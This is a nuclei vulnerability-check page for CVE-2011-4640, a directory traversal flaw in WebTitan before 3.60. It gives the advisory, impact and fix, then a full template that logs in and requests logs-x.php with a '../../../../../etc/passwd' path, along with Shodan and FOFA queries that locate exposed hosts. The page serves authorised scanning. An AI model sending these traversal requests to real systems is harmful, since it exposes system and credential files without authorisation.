WebTitan < 3.60 - Local File Inclusion

mediumseverity

4CVSS score

7.3%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Directory traversal vulnerability in logs-x.php in SpamTitan WebTitan before 3.60 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the fname parameter in a view action.

Impact

Attackers can read arbitrary files on the server by exploiting directory traversal, potentially exposing database credentials and sensitive configuration data.

Fix

Update to WebTitan version 3.60 or later that properly validates and sanitizes file path parameters.

How to confirm it

Send: GET /login-x.php ; POST /login-x.php ; GET /logs-x.php?jaction=view&fname=../../../../../etc/passwd
Positive when: contains(body_2, "success\":true") and contains(body_1, "WebTitan") and regex('root:.*:0:0:', body) and status_code_3 == 200

Run it with nuclei: nuclei -id CVE-2011-4640 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2011-4640

info:
  name: WebTitan < 3.60 - Local File Inclusion
  author: ctflearner
  severity: medium
  description: |
    Directory traversal vulnerability in logs-x.php in SpamTitan WebTitan before 3.60 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the fname parameter in a view action.
  impact: |
    Attackers can read arbitrary files on the server by exploiting directory traversal, potentially exposing database credentials and sensitive configuration data.
  remediation: |
    Update to WebTitan version 3.60 or later that properly validates and sanitizes file path parameters.
  reference:
    - https://www.exploit-db.com/exploits/37943
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4640
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:N/A:N
    cvss-score: 4
    cve-id: CVE-2011-4640
    cwe-id: CWE-22
    epss-score: 0.07323
    epss-percentile: 0.94434
    cpe: cpe:2.3:a:spamtitan:webtitan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: spamtitan
    product: webtitan
    shodan-query:
      - title:"WebTitan"
      - http.favicon.hash:1090061843
    fofa-query:
      - icon_hash=1090061843
      - title="webtitan"
  tags: cve,cve2011,lfi,spamtitan,webtitan,authenticated,vuln

http:
  - raw:
      - |
        GET /login-x.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /login-x.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        jaction=login&language=en_US&username={{username}}&password={{password}}

      - |
        GET /logs-x.php?jaction=view&fname=../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "success\":true")'
          - 'contains(body_1, "WebTitan")'
          - "regex('root:.*:0:0:', body)"
          - 'status_code_3 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from